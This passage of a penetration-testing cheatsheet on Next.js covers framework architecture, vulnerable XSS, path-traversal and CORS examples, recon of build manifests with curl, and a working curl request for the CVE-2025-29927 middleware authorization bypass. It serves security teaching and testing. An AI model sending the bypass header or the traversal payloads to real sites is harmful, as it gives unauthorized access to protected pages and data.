daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

nextjs.md (53731B)


      1 ---
      2 title: "Next.js"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/nextjs.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/nextjs.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Next.js
     14 
     15 ## General Architecture of a Next.js Application
     16 
     17 ### Typical File Structure
     18 
     19 A Next.js project commonly follows a file and directory structure that supports routing, request handlers, and static assets. The exact layout depends on whether it uses the App Router, Pages Router, or both. The following example uses the App Router:<sup>[[12]](#references)</sup>
     20 
     21 ```lua
     22 my-nextjs-app/
     23 ├── node_modules/
     24 ├── public/
     25 │   ├── images/
     26 │   │   └── logo.png
     27 │   └── favicon.ico
     28 ├── app/
     29 │   ├── api/
     30 │   │   └── hello/
     31 │   │       └── route.ts
     32 │   ├── layout.tsx
     33 │   ├── page.tsx
     34 │   ├── about/
     35 │   │   └── page.tsx
     36 │   ├── dashboard/
     37 │   │   ├── layout.tsx
     38 │   │   └── page.tsx
     39 │   ├── components/
     40 │   │   ├── Header.tsx
     41 │   │   └── Footer.tsx
     42 │   ├── styles/
     43 │   │   ├── globals.css
     44 │   │   └── Home.module.css
     45 │   └── utils/
     46 │       └── api.ts
     47 ├── .env.local
     48 ├── next.config.js
     49 ├── tsconfig.json
     50 ├── package.json
     51 ├── README.md
     52 └── yarn.lock / package-lock.json
     53 
     54 ```
     55 
     56 ### Core Directories and Files
     57 
     58 - **public/:** Hosts static assets such as images, fonts, and other files. Files here are accessible at the root path (`/`).
     59 - **app/:** Central directory for your application’s pages, layouts, components, and API routes. Embraces the **App Router** paradigm, enabling advanced routing features and server-client component segregation.
     60 - **app/layout.tsx:** Defines the root layout for your application, wrapping around all pages and providing consistent UI elements like headers, footers, and navigation bars.
     61 - **app/page.tsx:** Serves as the entry point for the root route `/`, rendering the home page.
     62 - **app/[route]/page.tsx:** Handles static and dynamic routes. Each folder within `app/` represents a route segment, and `page.tsx` within those folders corresponds to the route's component.
     63 - **app/api/:** Common location for App Router Route Handlers. These are the App Router equivalent of Pages Router API Routes; their deployment runtime depends on the hosting configuration.<sup>[[12]](#references)</sup>
     64 - **app/components/:** Houses reusable React components that can be utilized across different pages and layouts.
     65 - **app/styles/:** Contains global CSS files and CSS Modules for component-scoped styling.
     66 - **app/utils/:** Includes utility functions, helper modules, and other non-UI logic that can be shared across the application.
     67 - **.env.local:** Stores local environment variables. The default template ignores `.env*` files, but verify repository ignore rules rather than assuming the file cannot be committed.<sup>[[14]](#references)</sup>
     68 - **next.config.js:** Customizes Next.js behavior, including webpack configurations, environment variables, and security settings.
     69 - **tsconfig.json:** Configures TypeScript settings for the project, enabling type checking and other TypeScript features.
     70 - **package.json:** Manages project dependencies, scripts, and metadata.
     71 - **README.md:** Provides documentation and information about the project, including setup instructions, usage guidelines, and other relevant details.
     72 - **yarn.lock / package-lock.json:** Locks the project’s dependencies to specific versions, ensuring consistent installations across different environments.
     73 
     74 ## Client-Side in Next.js
     75 
     76 ### File-Based Routing in the `app` Directory
     77 
     78 The `app` directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.
     79 
     80 <details>
     81 
     82 <summary>Handling the Root Path /</summary>
     83 
     84 **File Structure:**
     85 
     86 ```text
     87 my-nextjs-app/
     88 ├── app/
     89 │   ├── layout.tsx
     90 │   └── page.tsx
     91 ├── public/
     92 ├── next.config.js
     93 └── ...
     94 ```
     95 
     96 **Key Files:**
     97 
     98 - **`app/page.tsx`**: Handles requests to the root path `/`.
     99 - **`app/layout.tsx`**: Defines the layout for the application, wrapping around all pages.
    100 
    101 **Implementation:**
    102 
    103 ```tsx
    104 // app/page.tsx
    105 
    106 export default function HomePage() {
    107   return (
    108     <div>
    109       <h1>Welcome to the Home Page!</h1>
    110       <p>This is the root route.</p>
    111     </div>
    112   );
    113 }
    114 ```
    115 
    116 **Explanation:**
    117 
    118 - **Route Definition:** The `page.tsx` file directly under the `app` directory corresponds to the `/` route.
    119 - **Rendering:** This component renders the content for the home page.
    120 - **Layout Integration:** The `HomePage` component is wrapped by the `layout.tsx`, which can include headers, footers, and other common elements.
    121 
    122 </details>
    123 
    124 <details>
    125 
    126 <summary>Handling Other Static Paths</summary>
    127 
    128 **Example: `/about` Route**
    129 
    130 **File Structure:**
    131 
    132 ```text
    133 my-nextjs-app/
    134 ├── app/
    135 │   ├── about/
    136 │   │   └── page.tsx
    137 │   ├── layout.tsx
    138 │   └── page.tsx
    139 ├── public/
    140 ├── next.config.js
    141 └── ...
    142 ```
    143 
    144 **Implementation:**
    145 
    146 ```tsx
    147 // app/about/page.tsx
    148 
    149 export default function AboutPage() {
    150   return (
    151     <div>
    152       <h1>About Us</h1>
    153       <p>Learn more about our mission and values.</p>
    154     </div>
    155   )
    156 }
    157 ```
    158 
    159 **Explanation:**
    160 
    161 - **Route Definition:** The `page.tsx` file inside the `about` folder corresponds to the `/about` route.
    162 - **Rendering:** This component renders the content for the about page.
    163 
    164 </details>
    165 
    166 <details>
    167 
    168 <summary>Dynamic Routes</summary>
    169 
    170 Dynamic routes allow handling paths with variable segments, enabling applications to display content based on parameters like IDs, slugs, etc.
    171 
    172 **Example: `/posts/[id]` Route**
    173 
    174 **File Structure:**
    175 
    176 ```text
    177 my-nextjs-app/
    178 ├── app/
    179 │   ├── posts/
    180 │   │   └── [id]/
    181 │   │       └── page.tsx
    182 │   ├── layout.tsx
    183 │   └── page.tsx
    184 ├── public/
    185 ├── next.config.js
    186 └── ...
    187 ```
    188 
    189 **Implementation:**
    190 
    191 ```tsx
    192 // app/posts/[id]/page.tsx
    193 
    194 import { useRouter } from 'next/navigation';
    195 
    196 interface PostProps {
    197   params: { id: string };
    198 }
    199 
    200 export default function PostPage({ params }: PostProps) {
    201   const { id } = params;
    202   // Fetch post data based on 'id'
    203 
    204   return (
    205     <div>
    206       <h1>Post #{id}</h1>
    207       <p>This is the content of post {id}.</p>
    208     </div>
    209   );
    210 }
    211 ```
    212 
    213 **Explanation:**
    214 
    215 - **Dynamic Segment:** `[id]` denotes a dynamic segment in the route, capturing the `id` parameter from the URL.
    216 - **Accessing Parameters:** The `params` object contains the dynamic parameters, accessible within the component.
    217 - **Route Matching:** Any path matching `/posts/*`, such as `/posts/1`, `/posts/abc`, etc., will be handled by this component.
    218 
    219 </details>
    220 
    221 <details>
    222 
    223 <summary>Nested Routes</summary>
    224 
    225 Next.js supports nested routing, allowing for hierarchical route structures that mirror the directory layout.
    226 
    227 **Example: `/dashboard/settings/profile` Route**
    228 
    229 **File Structure:**
    230 
    231 ```text
    232 my-nextjs-app/
    233 ├── app/
    234 │   ├── dashboard/
    235 │   │   ├── settings/
    236 │   │   │   └── profile/
    237 │   │   │       └── page.tsx
    238 │   │   └── page.tsx
    239 │   ├── layout.tsx
    240 │   └── page.tsx
    241 ├── public/
    242 ├── next.config.js
    243 └── ...
    244 ```
    245 
    246 **Implementation:**
    247 
    248 ```tsx
    249 // app/dashboard/settings/profile/page.tsx
    250 
    251 export default function ProfileSettingsPage() {
    252   return (
    253     <div>
    254       <h1>Profile Settings</h1>
    255       <p>Manage your profile information here.</p>
    256     </div>
    257   );
    258 }
    259 ```
    260 
    261 **Explanation:**
    262 
    263 - **Deep Nesting:** The `page.tsx` file inside `dashboard/settings/profile/` corresponds to the `/dashboard/settings/profile` route.
    264 - **Hierarchy Reflection:** The directory structure reflects the URL path, enhancing maintainability and clarity.
    265 
    266 </details>
    267 
    268 <details>
    269 
    270 <summary>Catch-All Routes</summary>
    271 
    272 Catch-all routes handle multiple nested segments or unknown paths, providing flexibility in route handling.
    273 
    274 **Example: `/*` Route**
    275 
    276 **File Structure:**
    277 
    278 ```text
    279 my-nextjs-app/
    280 ├── app/
    281 │   ├── [...slug]/
    282 │   │   └── page.tsx
    283 │   ├── layout.tsx
    284 │   └── page.tsx
    285 ├── public/
    286 ├── next.config.js
    287 └── ...
    288 ```
    289 
    290 **Implementation:**
    291 
    292 ```tsx
    293 // app/[...slug]/page.tsx
    294 
    295 interface CatchAllProps {
    296   params: { slug: string[] }
    297 }
    298 
    299 export default function CatchAllPage({ params }: CatchAllProps) {
    300   const { slug } = params
    301   const fullPath = `/${slug.join("/")}`
    302 
    303   return (
    304     <div>
    305       <h1>Catch-All Route</h1>
    306       <p>You have navigated to: {fullPath}</p>
    307     </div>
    308   )
    309 }
    310 ```
    311 
    312 **Explanation:**
    313 
    314 - **Catch-All Segment:** `[...slug]` captures all remaining path segments as an array.
    315 - **Usage:** Useful for handling dynamic routing scenarios like user-generated paths, nested categories, etc.
    316 - **Route Matching:** Paths like `/anything/here`, `/foo/bar/baz`, etc., are handled by this component.
    317 
    318 </details>
    319 
    320 ### Potential Client-Side Vulnerabilities
    321 
    322 While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:
    323 
    324 <details>
    325 
    326 <summary>Cross-Site Scripting (XSS)</summary>
    327 
    328 XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users' browsers, stealing data or performing actions on behalf of the user.
    329 
    330 **Example of Vulnerable Code:**
    331 
    332 ```jsx
    333 // Dangerous: Injecting user input directly into HTML
    334 function Comment({ userInput }) {
    335   return <div dangerouslySetInnerHTML={{ __html: userInput }} />
    336 }
    337 ```
    338 
    339 **Why It's Vulnerable:** Using `dangerouslySetInnerHTML` with untrusted input allows attackers to inject malicious scripts.
    340 
    341 </details>
    342 
    343 <details>
    344 
    345 <summary>Client-Side Template Injection</summary>
    346 
    347 Occurs when user inputs are improperly handled in templates, allowing attackers to inject and execute templates or expressions.
    348 
    349 **Example of Vulnerable Code:**
    350 
    351 ```jsx
    352 import React from "react"
    353 import ejs from "ejs"
    354 
    355 function RenderTemplate({ template, data }) {
    356   const html = ejs.render(template, data)
    357   return <div dangerouslySetInnerHTML={{ __html: html }} />
    358 }
    359 ```
    360 
    361 **Why It's Vulnerable:** If `template` or `data` includes malicious content, it can lead to execution of unintended code.
    362 
    363 </details>
    364 
    365 <details>
    366 
    367 <summary>Client Path Traversal</summary>
    368 
    369 Client-side path traversal (CSPT) occurs when attacker-controlled input is interpolated into a client-generated request path. Dot segments can redirect an otherwise legitimate, credentialed request to a different application endpoint. When that endpoint changes state, CSPT can provide a CSRF-like primitive; unlike server-side filesystem traversal, the manipulated path is an HTTP route.
    370 
    371 **Example of Vulnerable Code:**
    372 
    373 A Next.js application allows users to upload and download files. The download feature is implemented on the client side, where users can specify the file path to download.
    374 
    375 ```jsx
    376 // pages/download.js
    377 import { useState } from "react"
    378 
    379 export default function DownloadPage() {
    380   const [filePath, setFilePath] = useState("")
    381 
    382   const handleDownload = () => {
    383     fetch(`/api/files/${filePath}`)
    384       .then((response) => response.blob())
    385       .then((blob) => {
    386         const url = window.URL.createObjectURL(blob)
    387         const a = document.createElement("a")
    388         a.href = url
    389         a.download = filePath
    390         a.click()
    391       })
    392   }
    393 
    394   return (
    395     <div>
    396       <h1>Download File</h1>
    397       <input
    398         type="text"
    399         value={filePath}
    400         onChange={(e) => setFilePath(e.target.value)}
    401         placeholder="Enter file path"
    402       />
    403       <button onClick={handleDownload}>Download</button>
    404     </div>
    405   )
    406 }
    407 ```
    408 
    409 #### Attack Scenario
    410 
    411 1. **Attacker's Objective**: Perform a CSRF attack to delete a critical file (e.g., `admin/config.json`) by manipulating the `filePath`.
    412 2. **Exploiting CSPT**:
    413    - **Malicious Input**: The attacker crafts a URL with a manipulated `filePath` such as `../deleteFile/config.json`.
    414    - **Resulting API Call**: The client-side code makes a request to `/api/files/../deleteFile/config.json`.
    415    - **Server's Handling**: If the server does not validate the `filePath`, it processes the request, potentially deleting or exposing sensitive files.
    416 3. **Executing CSRF**:
    417    - **Crafted Link**: The attacker sends the victim a link or embeds a malicious script that triggers the download request with the manipulated `filePath`.
    418    - **Outcome**: The victim unknowingly executes the action, leading to unauthorized file access or deletion.
    419 
    420 #### Why It's Vulnerable
    421 
    422 - **Lack of Input Validation**: The client-side allows arbitrary `filePath` inputs, enabling path traversal.
    423 - **Trusting Client Inputs**: The server-side API trusts and processes the `filePath` without sanitization.
    424 - **Potential API Actions**: If the API endpoint performs state-changing actions (e.g., delete, modify files), it can be exploited via CSPT.
    425 
    426 </details>
    427 
    428 ### Recon: static export route discovery via _buildManifest
    429 
    430 When `nextExport`/`autoExport` are true (static export), Next.js exposes the `buildId` in the HTML and serves a build manifest at `/_next/static/<buildId>/_buildManifest.js`. The `sortedPages` array and route→chunk mapping there enumerate every prerendered page without brute force.<sup>[[5]](#references)</sup>
    431 
    432 - Grab the buildId from the root response (often printed at the bottom) or from `<script>` tags loading `/_next/static/<buildId>/...`.
    433 - Fetch the manifest and extract routes:
    434 
    435 ```bash
    436 build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
    437 curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
    438 ```
    439 
    440 - Use the discovered paths (for example `/docs`, `/docs/content/examples`, `/signin`) to drive auth testing and endpoint discovery.
    441 
    442 ## Server-Side in Next.js
    443 
    444 ### Server-Side Rendering (SSR)
    445 
    446 With request-time server-side rendering, a page is rendered on the server for each request and returned as HTML. The built-in Next.js server supports this model; a custom server is only needed for requirements the built-in server cannot meet.
    447 
    448 **Use Cases:**
    449 
    450 - Dynamic content that changes frequently.
    451 - SEO optimization, as search engines can crawl the fully rendered page.
    452 
    453 **Implementation:**
    454 
    455 ```jsx
    456 // pages/index.js
    457 export async function getServerSideProps(context) {
    458   const res = await fetch("https://api.example.com/data")
    459   const data = await res.json()
    460   return { props: { data } }
    461 }
    462 
    463 function HomePage({ data }) {
    464   return <div>{data.title}</div>
    465 }
    466 
    467 export default HomePage
    468 ```
    469 
    470 ### Static Site Generation (SSG)
    471 
    472 Pages are pre-rendered at build time, resulting in faster load times and reduced server load.
    473 
    474 **Use Cases:**
    475 
    476 - Content that doesn't change frequently.
    477 - Blogs, documentation, marketing pages.
    478 
    479 **Implementation:**
    480 
    481 ```jsx
    482 // pages/index.js
    483 export async function getStaticProps() {
    484   const res = await fetch("https://api.example.com/data")
    485   const data = await res.json()
    486   return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
    487 }
    488 
    489 function HomePage({ data }) {
    490   return <div>{data.title}</div>
    491 }
    492 
    493 export default HomePage
    494 ```
    495 
    496 ### Serverless Functions (API Routes)
    497 
    498 Next.js supports API endpoints through App Router Route Handlers and Pages Router API Routes. Platforms may deploy them as serverless functions, but they can also run in a persistent Node.js server.<sup>[[12]](#references)</sup>
    499 
    500 **Use Cases:**
    501 
    502 - Handling form submissions.
    503 - Interacting with databases.
    504 - Processing data or integrating with third-party APIs.
    505 
    506 **Implementation:**
    507 
    508 With the introduction of the `app` directory in Next.js 13, routing and API handling have become more flexible and powerful. This modern approach aligns closely with the file-based routing system but introduces enhanced capabilities, including support for server and client components.
    509 
    510 #### Basic Route Handler
    511 
    512 **File Structure:**
    513 
    514 ```go
    515 my-nextjs-app/
    516 ├── app/
    517 │   └── api/
    518 │       └── hello/
    519 │           └── route.js
    520 ├── package.json
    521 └── ...
    522 ```
    523 
    524 **Implementation:**
    525 
    526 ```javascript
    527 // app/api/hello/route.js
    528 
    529 export async function POST(request) {
    530   return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
    531     status: 200,
    532     headers: { "Content-Type": "application/json" },
    533   })
    534 }
    535 
    536 // Client-side fetch to access the API endpoint
    537 fetch("/api/submit", {
    538   method: "POST",
    539   headers: { "Content-Type": "application/json" },
    540   body: JSON.stringify({ name: "John Doe" }),
    541 })
    542   .then((res) => res.json())
    543   .then((data) => console.log(data))
    544 ```
    545 
    546 **Explanation:**
    547 
    548 - **Location:** API routes are placed under the `app/api/` directory.
    549 - **File Naming:** Each API endpoint resides in its own folder containing a `route.js` or `route.ts` file.
    550 - **Exported Functions:** Instead of a single default export, specific HTTP method functions (e.g., `GET`, `POST`) are exported.
    551 - **Response Handling:** Use the `Response` constructor to return responses, allowing more control over headers and status codes.
    552 
    553 #### How to handle other paths and methods:
    554 
    555 <details>
    556 
    557 <summary>Handling Specific HTTP Methods</summary>
    558 
    559 Next.js 13+ allows you to define handlers for specific HTTP methods within the same `route.js` or `route.ts` file, promoting clearer and more organized code.
    560 
    561 **Example:**
    562 
    563 ```javascript
    564 // app/api/users/[id]/route.js
    565 
    566 export async function GET(request, { params }) {
    567   const { id } = params
    568   // Fetch user data based on 'id'
    569   return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
    570     status: 200,
    571     headers: { "Content-Type": "application/json" },
    572   })
    573 }
    574 
    575 export async function PUT(request, { params }) {
    576   const { id } = params
    577   // Update user data based on 'id'
    578   return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
    579     status: 200,
    580     headers: { "Content-Type": "application/json" },
    581   })
    582 }
    583 
    584 export async function DELETE(request, { params }) {
    585   const { id } = params
    586   // Delete user based on 'id'
    587   return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
    588     status: 200,
    589     headers: { "Content-Type": "application/json" },
    590   })
    591 }
    592 ```
    593 
    594 **Explanation:**
    595 
    596 - **Multiple Exports:** Each HTTP method (`GET`, `PUT`, `DELETE`) has its own exported function.
    597 - **Parameters:** The second argument provides access to route parameters via `params`.
    598 - **Enhanced Responses:** Greater control over response objects, enabling precise header and status code management.
    599 
    600 </details>
    601 
    602 <details>
    603 
    604 <summary>Catch-All and Nested Routes</summary>
    605 
    606 Next.js 13+ supports advanced routing features like catch-all routes and nested API routes, allowing for more dynamic and scalable API structures.
    607 
    608 **Catch-All Route Example:**
    609 
    610 ```javascript
    611 // app/api/[...slug]/route.js
    612 
    613 export async function GET(request, { params }) {
    614   const { slug } = params
    615   // Handle dynamic nested routes
    616   return new Response(JSON.stringify({ slug }), {
    617     status: 200,
    618     headers: { "Content-Type": "application/json" },
    619   })
    620 }
    621 ```
    622 
    623 **Explanation:**
    624 
    625 - **Syntax:** `[...]` denotes a catch-all segment, capturing all nested paths.
    626 - **Usage:** Useful for APIs that need to handle varying route depths or dynamic segments.
    627 
    628 **Nested Routes Example:**
    629 
    630 ```javascript
    631 // app/api/posts/[postId]/comments/[commentId]/route.js
    632 
    633 export async function GET(request, { params }) {
    634   const { postId, commentId } = params
    635   // Fetch specific comment for a post
    636   return new Response(
    637     JSON.stringify({ postId, commentId, comment: "Great post!" }),
    638     {
    639       status: 200,
    640       headers: { "Content-Type": "application/json" },
    641     }
    642   )
    643 }
    644 ```
    645 
    646 **Explanation:**
    647 
    648 - **Deep Nesting:** Allows for hierarchical API structures, reflecting resource relationships.
    649 - **Parameter Access:** Easily access multiple route parameters via the `params` object.
    650 
    651 </details>
    652 
    653 <details>
    654 
    655 <summary>Handling API routes in Next.js 12 and Earlier</summary>
    656 
    657 ## API Routes in the `pages` Directory (Next.js 12 and Earlier)
    658 
    659 Before Next.js 13 introduced the `app` directory and enhanced routing capabilities, API routes were primarily defined within the `pages` directory. This approach is still widely used and supported in Next.js 12 and earlier versions.
    660 
    661 #### Basic API Route
    662 
    663 **File Structure:**
    664 
    665 ```go
    666 my-nextjs-app/
    667 ├── pages/
    668 │   └── api/
    669 │       └── hello.js
    670 ├── package.json
    671 └── ...
    672 ```
    673 
    674 **Implementation:**
    675 
    676 ```javascript
    677 // pages/api/hello.js
    678 
    679 export default function handler(req, res) {
    680   res.status(200).json({ message: 'Hello, World!' });
    681 }
    682 ```
    683 
    684 **Explanation:**
    685 
    686 - **Location:** API routes reside under the `pages/api/` directory.
    687 - **Export:** Use `export default` to define the handler function.
    688 - **Function Signature:** The handler receives `req` (HTTP request) and `res` (HTTP response) objects.
    689 - **Routing:** The file name (`hello.js`) maps to the endpoint `/api/hello`.
    690 
    691 #### Dynamic API Routes
    692 
    693 **File Structure:**
    694 
    695 ```bash
    696 my-nextjs-app/
    697 ├── pages/
    698 │   └── api/
    699 │       └── users/
    700 │           └── [id].js
    701 ├── package.json
    702 └── ...
    703 ```
    704 
    705 **Implementation:**
    706 
    707 ```javascript
    708 // pages/api/users/[id].js
    709 
    710 export default function handler(req, res) {
    711   const {
    712     query: { id },
    713     method,
    714   } = req;
    715 
    716   switch (method) {
    717     case 'GET':
    718       // Fetch user data based on 'id'
    719       res.status(200).json({ userId: id, name: 'John Doe' });
    720       break;
    721     case 'PUT':
    722       // Update user data based on 'id'
    723       res.status(200).json({ message: `User ${id} updated.` });
    724       break;
    725     case 'DELETE':
    726       // Delete user based on 'id'
    727       res.status(200).json({ message: `User ${id} deleted.` });
    728       break;
    729     default:
    730       res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
    731       res.status(405).end(`Method ${method} Not Allowed`);
    732   }
    733 }
    734 ```
    735 
    736 **Explanation:**
    737 
    738 - **Dynamic Segments:** Square brackets (`[id].js`) denote dynamic route segments.
    739 - **Accessing Parameters:** Use `req.query.id` to access the dynamic parameter.
    740 - **Handling Methods:** Utilize conditional logic to handle different HTTP methods (`GET`, `PUT`, `DELETE`, etc.).
    741 
    742 #### Handling Different HTTP Methods
    743 
    744 While the basic API route example handles all HTTP methods within a single function, you can structure your code to handle each method explicitly for better clarity and maintainability.
    745 
    746 **Example:**
    747 
    748 ```javascript
    749 // pages/api/posts.js
    750 
    751 export default async function handler(req, res) {
    752   const { method } = req;
    753 
    754   switch (method) {
    755     case 'GET':
    756       // Handle GET request
    757       res.status(200).json({ message: 'Fetching posts.' });
    758       break;
    759     case 'POST':
    760       // Handle POST request
    761       res.status(201).json({ message: 'Post created.' });
    762       break;
    763     default:
    764       res.setHeader('Allow', ['GET', 'POST']);
    765       res.status(405).end(`Method ${method} Not Allowed`);
    766   }
    767 }
    768 ```
    769 
    770 **Best Practices:**
    771 
    772 - **Separation of Concerns:** Clearly separate logic for different HTTP methods.
    773 - **Response Consistency:** Ensure consistent response structures for ease of client-side handling.
    774 - **Error Handling:** Gracefully handle unsupported methods and unexpected errors.
    775 
    776 </details>
    777 
    778 ### CORS Configuration
    779 
    780 Control which origins can access your API routes, mitigating Cross-Origin Resource Sharing (CORS) vulnerabilities.
    781 
    782 **Bad Configuration Example:**
    783 
    784 ```javascript
    785 // app/api/data/route.js
    786 
    787 export async function GET(request) {
    788   return new Response(JSON.stringify({ data: "Public Data" }), {
    789     status: 200,
    790     headers: {
    791       "Access-Control-Allow-Origin": "*", // Allows any origin
    792       "Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
    793     },
    794   })
    795 }
    796 ```
    797 
    798 CORS headers can also be applied centrally to matching API routes in **`middleware.ts`**:
    799 
    800 ```javascript
    801 // app/middleware.ts
    802 
    803 import { NextResponse } from "next/server"
    804 import type { NextRequest } from "next/server"
    805 
    806 export function middleware(request: NextRequest) {
    807   const allowedOrigins = [
    808     "https://yourdomain.com",
    809     "https://sub.yourdomain.com",
    810   ]
    811   const origin = request.headers.get("Origin")
    812 
    813   const response = NextResponse.next()
    814 
    815   if (allowedOrigins.includes(origin || "")) {
    816     response.headers.set("Access-Control-Allow-Origin", origin || "")
    817     response.headers.set(
    818       "Access-Control-Allow-Methods",
    819       "GET, POST, PUT, DELETE, OPTIONS"
    820     )
    821     response.headers.set(
    822       "Access-Control-Allow-Headers",
    823       "Content-Type, Authorization"
    824     )
    825     // If credentials are needed:
    826     // response.headers.set('Access-Control-Allow-Credentials', 'true');
    827   }
    828 
    829   // Handle preflight requests
    830   if (request.method === "OPTIONS") {
    831     return new Response(null, {
    832       status: 204,
    833       headers: response.headers,
    834     })
    835   }
    836 
    837   return response
    838 }
    839 
    840 export const config = {
    841   matcher: "/api/:path*", // Apply to all API routes
    842 }
    843 ```
    844 
    845 **Problem:**
    846 
    847 - **`Access-Control-Allow-Origin: '*'`:** Lets any origin read non-credentialed responses. This is appropriate for intentionally public data but dangerous when the response was expected to be origin-restricted.
    848 - **Wide method allowance:** Advertising methods that the application does not need expands the cross-origin interface. Actual impact still depends on preflight behavior, credential policy, and server-side authorization.
    849 
    850 **How attackers exploit it:**
    851 
    852 Attackers can craft websites that make cross-origin requests to the API. Whether they can read data or act with a victim's credentials depends on the complete CORS policy, cookie attributes, and endpoint authorization.
    853 
    854 [Cors Bypass](/hacktricks/pentesting-web/cors-bypass)
    855 
    856 ### Server code exposure in Client Side
    857 
    858 Modules can accidentally be shared between server and client components. Mark a module as server-only so that importing it into a client component produces a build-time error:<sup>[[13]](#references)</sup>
    859 
    860 ```javascript
    861 import "server-only"
    862 ```
    863 
    864 ## Key Files and Their Roles
    865 
    866 ### `middleware.ts` / `middleware.js`
    867 
    868 **Location:** Root of the project or within `src/`.
    869 
    870 **Purpose:** Executes code in the server-side serverless function before a request is processed, allowing for tasks like authentication, redirects, or modifying responses.
    871 
    872 **Execution Flow:**
    873 
    874 1. **Incoming Request:** The middleware intercepts the request.
    875 2. **Processing:** Performs operations based on the request (e.g., check authentication).
    876 3. **Response Modification:** Can alter the response or pass control to the next handler.
    877 
    878 **Example Use Cases:**
    879 
    880 - Redirecting unauthenticated users.
    881 - Adding custom headers.
    882 - Logging requests.
    883 
    884 **Sample Configuration:**
    885 
    886 ```typescript
    887 // middleware.ts
    888 import { NextResponse } from "next/server"
    889 import type { NextRequest } from "next/server"
    890 
    891 export function middleware(req: NextRequest) {
    892   const url = req.nextUrl.clone()
    893   if (!req.cookies.has("token")) {
    894     url.pathname = "/login"
    895     return NextResponse.redirect(url)
    896   }
    897   return NextResponse.next()
    898 }
    899 
    900 export const config = {
    901   matcher: ["/protected/:path*"],
    902 }
    903 ```
    904 
    905 ### Middleware authorization bypass (CVE-2025-29927)
    906 
    907 If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the `x-middleware-subrequest` header. The framework will skip middleware recursion and return the protected page.<sup>[[5]](#references)</sup>
    908 
    909 - Baseline behavior is typically a 307 redirect to a login route like `/api/auth/signin`.
    910 - Send a long `x-middleware-subrequest` value (repeat `middleware` to hit `MAX_RECURSION_DEPTH`) to flip the response to 200:
    911 
    912 ```bash
    913 curl -i "http://target/docs" \
    914   -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
    915 ```
    916 
    917 - Because authenticated pages pull many subresources, add the header to every request (e.g., Burp Match/Replace with an empty match string) to keep assets from redirecting.
    918 
    919 ### `next.config.js`
    920 
    921 **Location:** Root of the project.
    922 
    923 **Purpose:** Configures Next.js behavior, enabling or disabling features, customizing webpack configurations, setting environment variables, and configuring several security features.
    924 
    925 **Key Security Configurations:**
    926 
    927 <details>
    928 
    929 <summary>Security Headers</summary>
    930 
    931 Security headers enhance the security of your application by instructing browsers on how to handle content. They help mitigate various attacks like Cross-Site Scripting (XSS), Clickjacking, and MIME type sniffing:
    932 
    933 - Content Security Policy (CSP)
    934 - X-Frame-Options
    935 - X-Content-Type-Options
    936 - Strict-Transport-Security (HSTS)
    937 - Referrer Policy
    938 
    939 **Examples:**
    940 
    941 ```javascript
    942 // next.config.js
    943 
    944 module.exports = {
    945   async headers() {
    946     return [
    947       {
    948         source: "/(.*)", // Apply to all routes
    949         headers: [
    950           {
    951             key: "X-Frame-Options",
    952             value: "DENY",
    953           },
    954           {
    955             key: "Content-Security-Policy",
    956             value:
    957               "default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
    958           },
    959           {
    960             key: "X-Content-Type-Options",
    961             value: "nosniff",
    962           },
    963           {
    964             key: "Strict-Transport-Security",
    965             value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
    966           },
    967           {
    968             key: "Referrer-Policy",
    969             value: "no-referrer", // Completely hides referrer
    970           },
    971           // Additional headers...
    972         ],
    973       },
    974     ]
    975   },
    976 }
    977 ```
    978 
    979 </details>
    980 
    981 <details>
    982 
    983 <summary>Image Optimization Settings</summary>
    984 
    985 Next.js optimizes remote images, but overly broad source patterns can let attackers make the optimizer fetch URLs you did not intend. Prefer narrowly scoped `remotePatterns`.<sup>[[15]](#references)</sup>
    986 
    987 **Bad Configuration Example:**
    988 
    989 ```javascript
    990 // next.config.js
    991 
    992 module.exports = {
    993   images: {
    994     remotePatterns: [{ hostname: "**" }], // Overly broad: any hostname/protocol/path
    995   },
    996 }
    997 ```
    998 
    999 **Problem:**
   1000 
   1001 - **`hostname: "**"` with omitted restrictions:** permits optimization from arbitrary external sources instead of constraining the protocol, host, path, and query string.
   1002 - A similarly risky pattern allows a domain **where any user can upload content** (for example, `raw.githubusercontent.com`) without restricting the pathname.
   1003 
   1004 **How attackers abuse it:**
   1005 
   1006 Depending on how the application accepts image URLs, attackers may consume optimizer bandwidth, make the server fetch unintended resources, or display misleading content. Treat the optimizer as a server-side fetch surface and test the exact allowed patterns.
   1007 
   1008 </details>
   1009 
   1010 <details>
   1011 
   1012 <summary>Environment Variables Exposure</summary>
   1013 
   1014 Manage sensitive information like API keys and database credentials securely without exposing them to the client.
   1015 
   1016 #### a. Exposing Sensitive Variables
   1017 
   1018 **Bad Configuration Example:**
   1019 
   1020 ```javascript
   1021 // next.config.js
   1022 
   1023 module.exports = {
   1024   env: {
   1025     SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed: next.config.js env values enter the JS bundle
